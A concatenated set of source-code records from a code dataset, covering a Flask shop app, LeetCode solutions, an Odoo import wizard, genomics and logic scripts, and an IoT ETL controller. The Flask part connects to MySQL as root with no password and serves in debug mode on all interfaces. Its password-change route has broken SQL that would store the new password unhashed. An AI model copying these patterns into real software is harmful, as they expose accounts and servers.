bcrypt.hashpw(form_data[\"pwd\"].encode(\"utf-8\"), bcrypt.gensalt())\n\n # Insert account data to database\n insert = \"INSERT INTO users(usersUid, usersName, usersEmail, usersPwd, regDate) VALUES(%s, %s, %s, %s, %s)\"\n cursor.execute(insert, (form_data[\"uid\"], form_data[\"name\"], form_data[\"email\"], hashAndSalt, now.strftime(\"%d. %B %Y, %H:%M\")))\n\n elif pwdLen <= 6:\n return redirect(url_for(\".regisztracio\", message=\"pwd-hossz\"))\n\n elif form_data[\"pwd\"] != form_data[\"pwdrepeat\"]:\n return redirect(url_for(\".regisztracio\", message=\"pwd-nem-egyeznek\"))\n \n elif not whitespace:\n return redirect(url_for(\".regisztracio\", message=\"nem-teljes-név\"))\n\n else:\n return redirect(url_for(\".regisztracio\", message=\"ismeretlen-hiba\"))\n\n # Database connection close\n\n conn.commit()\n conn.close()\n cursor.close()\n\n return redirect(url_for(\".bejelentkezes\", message=\"sikeres-regisztracio\"))\n\n\n@app.route(\"/fiok\")\ndef fiok():\n if session[\"admin\"] == True:\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n\n cursor.execute(\"SELECT * FROM products WHERE id=(SELECT MAX(id) FROM products)\")\n row = cursor.fetchone()\n old_code = row[\"code\"]\n\n old_code_number = int(re.search(r'\\d+', old_code).group())\n old_code = old_code[:-2]\n\n old_code_number += 1\n old_code += str(old_code_number)\n\n cursor.execute(\"SELECT * FROM products\")\n products_rows = cursor.fetchall()\n\n cursor.execute(\"SELECT * FROM users\")\n users_rows = cursor.fetchall()\n\n return render_template(\"account.html\", site=\"acc\", x=3, users=users_rows, products=products_rows, current=old_code)\n\n else:\n return render_template(\"account.html\", site=\"acc\", x=3)\n\n\n@app.route(\"/bejelentkezes\")\ndef bejelentkezes():\n return render_template(\"account.html\", x=1, site=\"acc\")\n\n\n@app.route(\"/regisztracio\")\ndef regisztracio():\n return render_template(\"account.html\", x=2, site=\"acc\")\n\n\n@app.route(\"/logout\")\ndef logout():\n session.pop(\"logged_in\", None)\n session.pop(\"userId\", None)\n session.pop(\"userUid\", None)\n session.pop(\"userEmail\", None)\n session.pop(\"userPwd\", None)\n session.pop(\"cartItem\", None)\n return redirect(url_for(\".bejelentkezes\", message=\"sikeres-kijelentkezes\")) \n\n@app.route(\"/pwdchange_inc\", methods=[\"POST\", \"GET\"])\ndef pwdchange():\n\n # Database connection\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n\n cursor.execute(\"SELECT * FROM users WHERE usersUid = %s\", (session[\"userUid\"]))\n account = cursor.fetchone()\n\n form_data = request.form\n\n valid = bcrypt.checkpw(form_data[\"oldPwd\"].encode(\"utf-8\"), account[\"usersPwd\"].encode(\"utf-8\"))\n\n pwdLen = len(form_data[\"newPwd\"]) \n\n if valid and form_data[\"newPwd\"] == form_data[\"newPwdRepeat\"] and pwdLen >= 6 and form_data[\"newPwd\"] != form_data[\"oldPwd\"]:\n \n cursor.execute(\"UPDATE usersPwd SET=%s FROM users WHERE usersUid=%s\", (form_data[\"newPwd\"], session[\"userUid\"]))\n\n return redirect(url_for(\".fiok\", message=\"sikeres-jelszo-valtoztatas\"))\n\n elif form_data[\"newPwd\"] != form_data[\"newPwdRepeat\"]:\n return redirect(url_for(\".fiok\", message=\"pwdk-nem-egyeznek\"))\n\n elif form_data[\"oldPwd\"] != session[\"userPwd\"]:\n return redirect(url_for(\".fiok\", message=\"hibas-pwd\"))\n \n elif pwdLen < 6:\n return redirect(url_for(\".fiok\", message=\"pwd-nem-6\"))\n\n elif form_data[\"newPwd\"] == form_data[\"oldPwd\"]:\n return redirect(url_for(\".fiok\", message=\"pwd-egyezik\"))\n\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=\"5000\", debug=True)","repo_name":"Shaxv/ComputerDesk","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4022079030","text":"\"\"\"\n239 滑动窗口最大值\n给定一个数组 nums,有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只向右移动一位。\n返回滑动窗口中的最大值。\n进阶:\n你能在线性时间复杂度内解决此题吗?\n示例:\n输入: nums = [1,3,-1,-3,5,3,6,7], 和 k = 3\n输出: [3,3,5,5,6,7]\n解释:\n 滑动窗口的位置 最大值\n--------------- -----\n[1 3 -1] -3 5 3 6 7 3\n 1 [3 -1 -3] 5 3 6 7 3\n 1 3 [-1 -3 5] 3 6 7 5\n 1 3 -1 [-3 5 3] 6 7 5\n 1 3 -1 -3 [5 3 6] 7 6\n 1 3 -1 -3 5 [3 6 7] 7\n提示:\n1 <= nums.length <= 10^5\n-10^4 <= nums[i] <= 10^4\n1 <= k <= nums.length\n\n此方法如果直接用暴力法的话会觉得完全不是困难程度的题目,下面先用了暴力法解决问题,遍历nums数组已经是O(N)了\n但是,每个滑动窗口中的k个值还需要找出最大的,k个值中找出最大值的最好的时间复杂度是O(k)所以总的时间复杂度就是\nO(Nk)了,而这题是要你实现 线性时间复杂度。\n\"\"\"\n\n## way1 暴力求解法\n# from typing import List\n# class Solution:\n# def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\n# left = 0\n# right = k\n# ans = []\n# while right <= len(nums):\n# window = nums[left:right]\n# cur_max = max(window)\n# ans.append(cur_max)\n# left += 1\n# right += 1\n# return ans\n\n# way2 双向队列方法\n# from typing import List\n# class Solution:\n# def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\n# ans = []\n# right = 0\n# window = []\n# while right < len(nums):\n# if len(window)!=0 and window[0] <= right - k:\n# window.pop(0)\n# while len(window)!=0 and nums[right] > nums[window[-1]]:\n# window.pop(-1)\n# window.append(right)\n# right += 1\n# if right >= k:\n# ans.append(nums[window[0]])\n# return ans\n\n\n# way3 动态规划方法,官网给的题解,看了半天没有理解到其中的精髓,感觉下次做同种题目还是想不到啊\n# 最后看到一个符合动态规划思想的思路和代码,但是自己感觉时间复杂度并不是线性的。\n# dp[i] 表示窗口左侧在原数组索引i所在位置时吗,对应最大值所在的索引.这个方法相比官网给的动态规划理解要习惯很多。官网的说法感觉\n# 更像是双向遍历的感觉。 后面两种发现,都是存索引,而不是存窗口的值。因为这样的话既可以知道窗口中的值,还可以对他们进行排序。\nfrom typing import List\nclass Solution:\n def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\n if k == 1:\n return nums\n dp = [0 for i in range(len(nums)-k+1)]\n res = [0 for i in range(len(nums)-k+1)]\n for i in range(1, k):\n if nums[i] >= nums[dp[0]]:\n dp[0] = i\n res[0] = nums[dp[0]]\n # print(res[0])\n for j in range(1, len(dp)):\n if nums[j+k-1] >= nums[dp[j-1]]:\n dp[j] = j+k-1\n else:\n if dp[j-1] == j-1:\n # 上一个窗口的最大值在最左侧时\n dp[j] = j\n for q in range(j+1, k+j):\n if nums[q] >= nums[dp[j]]:\n dp[j] = q\n else:\n dp[j] = dp[j-1]\n res[j] = nums[dp[j]]\n return res\n\n\n\n\nsolu = Solution()\nnums = [1,3,-1,-3,5,3,6,7]\nk = 3\nans = solu.maxSlidingWindow(nums,k)\nprint(ans)","repo_name":"sakurasakura1996/Leetcode","sub_path":"leetcode未归类题目/problem239.py","file_name":"problem239.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"38607745204","text":"from openerp import api, fields, models, _\nimport odoorpc\nfrom datetime import date\nfrom dateutil.relativedelta import relativedelta\n\n\nimport logging\n_logger = logging.getLogger(__name__)\n\nclass CamposImportMemberWiz(models.TransientModel):\n\n _name = 'campos.import.member.wiz'\n\n name = fields.Char()\n registration_id = fields.Many2one('event.registration', 'Registration')\n member_ids = fields.Many2many(comodel_name='campos.import.member.profile',\n relation='campos_imp_mbr_wiz_rel',\n column1='member_id',\n column2='wiz_id')\n participant_from_date = fields.Date('Date of arrival', required=True, default='2017-07-22')\n participant_to_date = fields.Date('Date of departure', required=True, default='2017-07-30')\n transport_to_camp = fields.Boolean('Common transport to camp', default=True)\n transport_from_camp = fields.Boolean('Common transport from camp', default=True)\n \n\n @api.model\n def default_get(self, fields):\n result = super(CamposImportMemberWiz, self).default_get(fields)\n \n if 'registration_id' in result:\n _logger.info('REG: %d', result['registration_id'])\n registration = self.env['event.registration'].browse(result['registration_id'])\n self.env['campos.import.member.profile'].suspend_security().import_from_membersys(registration)\n return result\n\n @api.multi\n def action_member_import(self):\n _logger.info('DOIT! action_member_import')\n cepd = self.env['campos.event.participant.day']\n for wizard in self:\n ed_ids = self.env['event.day'].search([('event_period', '=', 'maincamp'),\n ('event_id', '=', wizard.registration_id.event_id.id)])\n # TODO\n for mbr in wizard.member_ids:\n part = self.env['campos.event.participant'].search([('registration_id', '=', wizard.registration_id.id), ('remote_mpro_int_id', '=', mbr.remote_int_id)])\n country_id = self.env['res.country'].search([('name', '=', mbr.country)])\n if part:\n part.write({'name': mbr.name,\n 'birthdate': mbr.birthdate,\n 'street': mbr.street,\n 'street2': mbr.street2,\n 'zip': mbr.zip,\n 'city': mbr.city,\n 'country': country_id,\n 'email': mbr.email if mbr.is_leader else False,\n 'mobile': mbr.mobile if mbr.is_leader else False,\n 'parent_id': wizard.registration_id.partner_id.id,\n 'transport_to_camp': wizard.transport_to_camp,\n 'transport_from_camp': wizard.transport_from_camp,\n 'participant': True,})\n mbr.participant_id = part\n else:\n mbr.participant_id = self.env['campos.event.participant'].suspend_security().create({'registration_id': wizard.registration_id.id,\n 'remote_mpro_int_id': mbr.remote_int_id,\n 'remote_int_id': mbr.remote_partner_int_id,\n 'name': mbr.name,\n 'birthdate': mbr.birthdate,\n 'street': mbr.street,\n 'street2': mbr.street2,\n 'zip': mbr.zip,\n 'city': mbr.city,\n 'country': country_id,\n 'email': mbr.email if mbr.is_leader else False,\n 'mobile': mbr.mobile if mbr.is_leader else False,\n 'parent_id': wizard.registration_id.partner_id.id,\n 'transport_to_camp': wizard.transport_to_camp,\n 'transport_from_camp': wizard.transport_from_camp,\n })\n for day in ed_ids:\n cepd.create({'participant_id': mbr.participant_id.id,\n 'day_id': day.id,\n 'will_participate': True if day.event_date >= wizard.participant_from_date and day.event_date <= wizard.participant_to_date else False,\n })\n \n rs = self.env['campos.event.participant'].search([('id', '=', mbr.participant_id.id)]) #JDa Need to trig Transportaion usNeed update\n if len(rs)> 0:\n rs[0].write({'recalctoneed':True, 'recalcfromneed':True}) \n \n _logger.info('Saved %s', mbr.name)\n \n# action = {\n# 'type': 'ir.action.act_window',\n# 'name': 'Action Name', # TODO\n# 'res_model': 'result.model', # TODO\n# 'domain': [('id', '=', result_ids)], # TODO\n# 'view_mode': 'form,tree',\n# }\n# return action\n\n\nclass CamposImportMemberProfile(models.Model):\n\n _name = 'campos.import.member.profile'\n\n name = fields.Char()\n department = fields.Char()\n birthdate = fields.Date()\n street = fields.Char()\n street2 = fields.Char()\n zip = fields.Char()\n city = fields.Char()\n country = fields.Char()\n email = fields.Char()\n mobile = fields.Char()\n is_leader = fields.Boolean()\n remote_int_id = fields.Integer('Remote ID', index=True)\n remote_partner_int_id = fields.Integer('Remote Partner ID', index=True)\n age = fields.Integer('Age', compute='_compute_age', store=True)\n state = fields.Selection([('web', 'Web'), # Received from web\n ('draft', 'Draft'),\n ('waiting', 'Waiting list'),\n ('relative', 'Contact'), # Profile state \"relative\" is now known as \"Contact\" in UI\n ('active', 'Active'),\n ('inactive', 'Inactive'),\n ('cancelled', 'Cancelled'),\n ('open', 'Confirmed')],\n default='draft', string=\"State\")\n registration_id = fields.Many2one('event.registration')\n participant_id = fields.Many2one('campos.event.participant')\n remote_event_id = fields.Many2one('campos.import.event', 'Remote Event')\n \n @api.multi\n @api.depends('birthdate')\n def _compute_age(self):\n for part in self:\n part.age = relativedelta(date.today(), fields.Date.from_string(part.birthdate)).years if part.birthdate else False\n\n\n @api.model\n def import_from_membersys(self, registration):\n \n if registration.partner_id.remote_system_id:\n remote = registration.partner_id.remote_system_id\n msodoo = odoorpc.ODOO(remote.host, protocol=remote.protocol, port=remote.port)\n msodoo.login(remote.db_name, remote.db_user, remote.db_pwd)\n Partner = msodoo.env['res.partner']\n partner = Partner.browse(registration.partner_id.remote_int_id)\n remote_profiles_ids = msodoo.env['member.profile'].search([('organization_id', '=', partner.organization_id.id), ('state', 'in', ['active', 'relative'])])\n for rp in msodoo.execute('member.profile', 'read', remote_profiles_ids, ['id','firstname','lastname','birthdate','state', 'partner_id', 'street','street2','zip','city','country_id', 'is_active_leader','mobile', 'email']):\n cimp = self.search([('remote_partner_int_id', '=', rp['partner_id'][0]),('registration_id', '=', registration.id)])\n if cimp:\n cimp.write({'name': ' '.join(filter(None, [rp['firstname'], rp['lastname']])),\n #'department': rp.active_functions_in_profile[0].organization_id.name if rp.active_functions_in_profile else '',\n 'birthdate' : rp['birthdate'],\n 'state': rp['state'],\n 'remote_int_id': rp['id'],\n 'remote_partner_int_id': rp['partner_id'][0],\n 'registration_id': registration.id,\n 'street': rp['street'],\n 'street2': rp['street2'],\n 'zip': rp['zip'],\n 'city': rp['city'],\n 'country': rp['country_id'][1] if rp['country_id'] else 'Danmark',\n 'is_leader': rp['is_active_leader'],\n 'mobile': rp['mobile'],\n 'email': rp['email'],\n })\n else:\n self.create({'name': ' '.join(filter(None, [rp['firstname'], rp['lastname']])),\n #'department': rp.active_functions_in_profile[0].organization_id.name if rp.active_functions_in_profile else '',\n 'birthdate' : rp['birthdate'],\n 'remote_int_id': rp['id'],\n 'remote_partner_int_id': rp['partner_id'][0],\n 'state': rp['state'],\n 'registration_id': registration.id,\n 'street': rp['street'],\n 'street2': rp['street2'],\n 'zip': rp['zip'],\n 'city': rp['city'],\n 'country': rp['country_id'][1] if rp['country_id'] else 'Danmark',\n 'is_leader': rp['is_active_leader'],\n 'mobile': rp['mobile'],\n 'email': rp['email'],\n #'wiz_id': wizard.id,\n })\n _logger.info('Importing: %s %s', rp['firstname'], rp['lastname'])\n \n @api.model\n def import_from_event(self, remote_event):\n \n if remote_event.registration_id.partner_id.remote_system_id:\n remote = remote_event.registration_id.partner_id.remote_system_id\n msodoo = odoorpc.ODOO(remote.host, protocol=remote.protocol, port=remote.port)\n msodoo.login(remote.db_name, remote.db_user, remote.db_pwd)\n Partner = msodoo.env['res.partner']\n \n remote_par_ids = msodoo.env['event.registration'].search([('event_id', '=', remote_event.remote_int_id), ('state', 'in', ['open'])])\n for rp in msodoo.execute('event.registration', 'read', remote_par_ids, ['id','name','partner_id','state']):\n partner = False\n if rp['partner_id']:\n cimp = self.search([('remote_partner_int_id', '=', rp['partner_id'][0]),('remote_event_id', '=', remote_event.id)])\n partner = Partner.browse(rp['partner_id'][0])\n else:\n cimp = self.search([('remote_int_id', '=', rp['id']),('remote_event_id', '=', remote_event.id)])\n if cimp:\n cimp.write({'name': rp['name'],\n #'department': rp.active_functions_in_profile[0].organization_id.name if rp.active_functions_in_profile else '',\n 'birthdate' : partner.member_id.birthdate if partner else False,\n 'state': rp['state'],\n 'remote_int_id': rp['id'],\n 'remote_partner_int_id': rp['partner_id'][0] if partner else False,\n 'remote_event_id': remote_event.id,\n 'street': partner.street if partner else False,\n 'street2': partner.street2 if partner else False,\n 'zip': partner.zip if partner else False,\n 'city': partner.city if partner else False,\n 'country': partner.country_id.name if partner and partner.country_id else False,\n 'is_leader': partner.member_id.is_active_leader if partner else False,\n 'mobile': partner.mobile if partner else False,\n 'email': partner.email if partner else False,\n })\n else:\n self.create({'name': rp['name'],\n #'department': rp.active_functions_in_profile[0].organization_id.name if rp.active_functions_in_profile else '',\n 'birthdate' : partner.member_id.birthdate if partner else False,\n 'remote_int_id': rp['id'],\n 'remote_partner_int_id': rp['partner_id'][0] if partner else False,\n 'state': rp['state'],\n 'remote_event_id': remote_event.id,\n #'wiz_id': wizard.id,\n 'street': partner.street if partner else False,\n 'street2': partner.street2 if partner else False,\n 'zip': partner.zip if partner else False,\n 'city': partner.city if partner else False,\n 'country': partner.country_id.name if partner and partner.country_id else False,\n 'is_leader': partner.member_id.is_active_leader if partner and partner.member_id else False,\n 'mobile': partner.mobile if partner else False,\n 'email': partner.email if partner else False,\n })\n _logger.info('Importing: %s', rp['name'])\n\n","repo_name":"sl2017/campos","sub_path":"campos_import/wizards/campos_import_member_wiz.py","file_name":"campos_import_member_wiz.py","file_ext":"py","file_size_in_byte":15322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"11519375268","text":"import sys\n\nsam_file = open(sys.argv[1])\nchrom_sizes_file = open(sys.argv[2],'r')\nsmooth_size = int(sys.argv[3])\n\nchr_sizes = {}\n\nfor line in chrom_sizes_file:\n\n column = line.rstrip().split()\n chrom = column[0]\n chr_size = int(column[1])\n\n chr_sizes[chrom] = chr_size\n\nfor line in sam_file:\n\n column = line.rstrip().split()\n \n chrom = column[2]\n pos = int(column[3])\n tlen = int(column[8])\n\n l_pos = pos+4 \t\t# offset forward strand pos by +4\n nlen = abs(tlen)-9\t# length of new template\n r_pos=l_pos+nlen\t# offset reverse strand pos by -5\n c_pos=l_pos+nlen/2\t# new center of fragment\n\t\n l_start = max(0,l_pos-smooth_size/2)\n l_end = min(chr_sizes[chrom],l_pos+smooth_size/2)\n r_start = max(0,r_pos-smooth_size/2)\n r_end = min(chr_sizes[chrom],r_pos+smooth_size/2)\n\n print (chrom+\"\\t\"+str(int(l_start))+\"\\t\"+str(int(l_end+1))+\"\\t1\")\n print (chrom+\"\\t\"+str(int(r_start))+\"\\t\"+str(int(r_end+1))+\"\\t1\")\n\n","repo_name":"zchiang/atacworks_analysis","sub_path":"preprocessing/get_smooth_cutsites.py","file_name":"get_smooth_cutsites.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"69919438299","text":"import logging\nfrom itertools import product\n\nfrom logic1.atomlib.sympy import Eq, Ge, Gt, Le, Lt\nfrom logic1.firstorder.formula import And, Formula\nfrom logic1.firstorder.truth import T\nfrom sympy import Symbol\n\nfrom ..abc.qe import QuantifierElimination as Base\nfrom ..bound import Bound\nfrom ..util import conjunctive\nfrom .rings import Simplifier, poly\n\nAtom = Le | Lt | Ge | Gt | Eq\n\n\ndef combine_op(\n lower: Le | Lt | Eq, upper: Le | Lt | Eq\n) -> type[Le | Lt | Eq]:\n if isinstance(lower, Le) and isinstance(upper, Le):\n return Le\n elif isinstance(lower, Lt | Le) and isinstance(upper, Lt | Le):\n return Lt\n elif isinstance(lower, Eq):\n return type(upper)\n elif isinstance(upper, Eq):\n return type(lower)\n else:\n raise NotImplementedError()\n\n\nclass QuantifierElimination(Base[Symbol]):\n def __init__(self):\n super().__init__(simplify=Simplifier())\n\n def qe1p(self, x: Symbol, φ: Formula) -> Formula:\n if x not in φ.get_vars().free:\n return φ\n\n upper: list[Atom] = []\n lower: list[Atom] = []\n both: list[Atom] = []\n\n for row in conjunctive(φ):\n if not isinstance(row, Atom):\n raise NotImplementedError(\"unknown relation of type \" + str(type(row)))\n elif row.args[1] != 0:\n raise NotImplementedError(\"rhs must be zero\")\n\n b = Bound.of(row, x)\n logging.debug(str(row) + \" is \" + str(b) + \" for \" + str(x))\n if b == Bound.BOTH:\n both.append(row)\n else:\n (upper if b == Bound.UPPER else lower).append(row)\n\n logging.debug(\n \"(upper, lower, both) = \" + str((upper, lower, both))\n )\n\n result: list[Atom] = []\n\n if not both and (not upper or not lower):\n return T\n elif both:\n # There is at least one equation for x,\n # so we can use it to substitute x in\n # all other rows.\n e = poly(both[0])\n a = e.coeff_monomial(x)\n e = e - (a * x).as_poly()\n for row in lower + upper + both[1:]:\n p = poly(row)\n b = p.coeff_monomial(x)\n p = (p - (b * x).as_poly()) * a\n p = p + (-b * e)\n result.append((row.func)(p.as_expr(), 0))\n return And(*result)\n else:\n # Blow up exponentially!\n for (loweri, upperi) in product(lower, upper):\n logging.debug(\n \"Combining lower bound \"\n + str(loweri)\n + \" and upper bound \"\n + str(upperi)\n )\n (lo, uo) = (loweri.func, upperi.func)\n (lp, up) = (poly(loweri), poly(upperi))\n if isinstance(loweri, Ge | Gt):\n lp *= -1\n lo = lo.converse_func\n if isinstance(upperi, Ge | Gt):\n up *= -1\n uo = uo.converse_func\n \n assert isinstance(lo, Le | Lt | Eq)\n assert isinstance(uo, Le | Lt | Eq)\n\n (lps, ups) = (\n lp.mul_ground(up.coeff_monomial(x)),\n up.mul_ground(abs(lp.coeff_monomial(x))),\n )\n combo = (combine_op(lo, uo))(lps.add(ups).as_expr(), 0)\n logging.debug(combo)\n result.append(combo)\n\n return And(*result)\n\n\nqe = QuantifierElimination().qe\n","repo_name":"lorenzleutgeb/qe","sub_path":"theories/lra.py","file_name":"lra.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10137086559","text":"import csv\nfrom typing import TextIO\nimport json\n\nfrom whisper.utils import ResultWriter, format_timestamp\n\n\nclass WriteCSV(ResultWriter):\n extension: str = \"csv\"\n\n def write_result(self, result: dict, file: TextIO, options: dict):\n fieldnames: list[str] = list(result[\"segments\"][0].keys())\n writer = csv.DictWriter(file, fieldnames=fieldnames)\n writer.writeheader()\n writer.writerows(result[\"segments\"])\n\n\nclass WriteDOTE(ResultWriter):\n extension: str = \"dote.json\"\n\n def format_result(self, result: dict):\n interface = {\"lines\": []}\n for line in result[\"segments\"]:\n line_add = {\n \"startTime\": format_timestamp(line[\"start\"], True),\n \"endTime\": format_timestamp(line[\"end\"], True),\n \"speakerDesignation\": \"\",\n \"text\": line[\"text\"].strip(),\n }\n interface[\"lines\"].append(line_add)\n else:\n return interface\n\n def write_result(self, result: dict, file: TextIO, options: dict):\n result = self.format_result(result)\n json.dump(result, file)\n","repo_name":"aau-claaudia/whisper-trans","sub_path":"src/whispaau/writers.py","file_name":"writers.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33687931578","text":"#!/usr/bin/python3\n\nimport sys\nfrom bson import ObjectId\nimport json \nfrom function import *\nimport datetime\nfrom controller import deviceController\nfrom pytz import timezone\nimport copy\nimport base64\nfrom base64 import decodestring\nimport os\n\nsensors = []\ndb = db.dbmongo()\nelastic = elastic.elastic()\nmain_folder = \"data\"\n\ndef add_dir(new_dir):\n if not os.path.exists(new_dir):\n os.makedirs(new_dir)\n\ndef save_image(message,field,group,device_name):\n try:\n folder = main_folder + \"/\" + group\n imagesFile = base64.b64decode(message)\n file_name = device_name + \"_\" + field + \"_\" + str(round(datetime.datetime.now(timezone('Asia/Jakarta')).timestamp() * 1000))\n add_dir(folder)\n image = open(folder+\"/\"+file_name+\".png\", \"wb+\")\n image.write(imagesFile)\n image.close()\n res = {\n 'type':'image',\n 'url': file_name+\".png\"\n }\n except Exception as e:\n print(e)\n return res\n\n\ndef etl(collection,elastic_index,info,device_code,message): #info --> , channel_type,topic,token_access,ip_sender,date_add_sensor\n insertQuery = info\n insertQuery['raw_message'] = message\n print(\"------------------\")\n sys.stdout.flush()\n insertQuery['date_add_server'] = datetime.datetime.now(timezone('Asia/Jakarta')) #datetime.datetime.utcnow() #datetime.datetime.utcnow()\n insertQuery['date_add_server_unix'] = round(datetime.datetime.now(timezone('Asia/Jakarta')).timestamp() * 1000) #round(datetime.datetime.utcnow().timestamp() * 1000) #datetime.datetime.utcnow()\n insertQuery['device_code'] = device_code\n print(insertQuery['date_add_server'])\n print(insertQuery['date_add_server_unix'])\n\n queryDevice = {\n 'device_code' : device_code\n }\n deviceData = deviceController.findOne(queryDevice)\n if deviceData['status'] == True :\n deviceData = deviceData['data']['field']\n\n for fieldData in deviceData:\n if type(fieldData) is dict:\n fieldName = list(fieldData.keys())[0]\n else:\n fieldName = fieldData\n insertQuery[fieldName] = extract_etl(fieldData,message,collection,device_code)\n\n insertElastic = copy.copy(insertQuery)\n # print(collection)\n # print(insertQuery)\n # print(\"------------------\")\n sys.stdout.flush()\n result = db.insertData(collection,insertQuery)\n if result == []:\n response = {'status':False, 'message':\"Add Failed\"} \n else: \n response = {'status':True,'message':'Success','data':result} \n mqttcom.publish(\"mqtt/elastic/\"+elastic_index,insertElastic) \n # elastic.insertOne(elastic_index,insertElastic) \n del insertElastic['raw_message']\n mqttcom.publish(\"message/connector/sensor\",insertElastic) \n print(response)\n sys.stdout.flush()\n return cloud9Lib.jsonObject(response)\n\ndef extract_etl(field,data,collection,device_code):\n if type(field) is dict:\n fieldName = list(field.keys())[0]\n if fieldName in data:\n result = {}\n if field[fieldName] == 'image' :\n result = save_image(data[fieldName],fieldName,collection,device_code)\n else :\n for item in field[fieldName]:\n if type(item) is dict:\n itemName = list(item.keys())[0]\n else:\n itemName = item \n result[item] = extract_etl(item,data[fieldName],collection,device_code)\n return result\n else:\n return None\n else:\n if field in data:\n return data[field]\n else:\n return None\n\n\ndef nonetl(collection,elastic_index,info,message): #info --> device_code, channel_type,topic,token_access,ip_sender,date_add_sensor\n insertQuery = info\n insertQuery['raw_message'] = message\n insertQuery['date_add_server'] = datetime.datetime.today() #datetime.datetime.utcnow()\n insertElastic = copy.copy(insertQuery)\n result = db.insertData(collection,insertQuery)\n if result == []:\n response = {'status':False, 'message':\"Add Failed\"} \n else: \n response = {'status':True,'message':'Success','data':result} \n elastic.insertOne(elastic_index,insertElastic)\n mqttcom.publish(\"mqtt/elastic/\"+elastic_index,insertElastic) \n return cloud9Lib.jsonObject(response)","repo_name":"yohanfride/cloud9","sub_path":"controller/commETLController.py","file_name":"commETLController.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9534919227","text":"import setuptools\n\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n\nsetuptools.setup(\n name='TorchSnooper',\n author='Xiang Gao',\n author_email='qasdfgtyuiop@gmail.com',\n description=\"Debug PyTorch code using PySnooper.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url='https://github.com/zasdfgbnm/TorchSnooper',\n packages=setuptools.find_packages(exclude=['tests']),\n use_scm_version=True,\n setup_requires=['setuptools_scm'],\n install_requires=[\n 'pysnooper>=0.1.0',\n 'numpy',\n ],\n tests_require=[\n 'pytest',\n 'torch',\n 'python-toolbox',\n 'coverage',\n 'snoop',\n ],\n)\n","repo_name":"zasdfgbnm/TorchSnooper","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":780,"dataset":"github-code","pt":"69"} +{"seq_id":"24627153474","text":"def towerOfHanoi(n, from_t, to_t, aux_t):\n if n == 0:\n return\n if n == 1:\n if (from_t == \"A\" and to_t == \"C\") or (from_t == \"C\" and to_t == \"A\"):\n print(\"Move\", from_t, \"to\", aux_t)\n print(\"Move\", aux_t, \"to\", to_t)\n return\n print(\"Move\", from_t, \"to\", to_t)\n return\n\n if (from_t == \"B\" and to_t == \"A\") or (from_t == \"B\" and to_t == \"C\"):\n towerOfHanoi(n-1, from_t, aux_t, to_t)\n print(\"Move\", from_t, \"to\", to_t)\n towerOfHanoi(n-1, aux_t, to_t, from_t)\n return\n\n towerOfHanoi(n-1, from_t, to_t, aux_t)\n print(\"Move\", from_t, \"to\", aux_t)\n towerOfHanoi(n-1, to_t, from_t, aux_t)\n print(\"Move\", aux_t, \"to\", to_t)\n towerOfHanoi(n-1, from_t, to_t, aux_t)\n\ntowerOfHanoi(3, \"A\", \"C\", \"B\")\n","repo_name":"SantiagoVeraEspinoza/ADAA","sub_path":"Clase/PruebaSofi/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"1872637152","text":"import os\n\nimport Quartz\nfrom PyObjCTools.TestSupport import TestCase\nimport objc\n\n\nclass TestCGFunction(TestCase):\n def testFunctions(self):\n values = []\n\n def evaluate(info, input_value, output_value):\n values.append(input_value)\n return input_value * 4\n\n self.assertIsInstance(Quartz.CGFunctionGetTypeID(), int)\n\n myInfo = object()\n func = Quartz.CGFunctionCreate(\n myInfo, 1, [0, 1], 4, [0, 1, 0, 1, 0, 1, 0, 1], evaluate\n )\n self.assertIsInstance(func, Quartz.CGFunctionRef)\n\n v = Quartz.CGFunctionRetain(func)\n self.assertTrue(v is func)\n Quartz.CGFunctionRelease(func)\n\n # It is not possible to \"call\" a Quartz.CGFunction object directly, use a\n # shading object to check that the function is actually called.\n\n shading = Quartz.CGShadingCreateAxial(\n Quartz.CGColorSpaceCreateDeviceRGB(), (0, 0), (50, 50), func, True, True\n )\n self.assertIsInstance(shading, Quartz.CGShadingRef)\n\n url = Quartz.CFURLCreateWithFileSystemPath(\n None, \"/tmp/pyobjc.test.pdf\", Quartz.kCFURLPOSIXPathStyle, False\n )\n self.assertIsInstance(url, Quartz.CFURLRef)\n context = Quartz.CGPDFContextCreateWithURL(url, ((0, 0), (1000, 1000)), None)\n self.assertIsInstance(context, Quartz.CGContextRef)\n try:\n Quartz.CGContextBeginPage(context, objc.NULL)\n\n Quartz.CGContextDrawShading(context, shading)\n finally:\n Quartz.CGContextEndPage(context)\n if hasattr(Quartz, 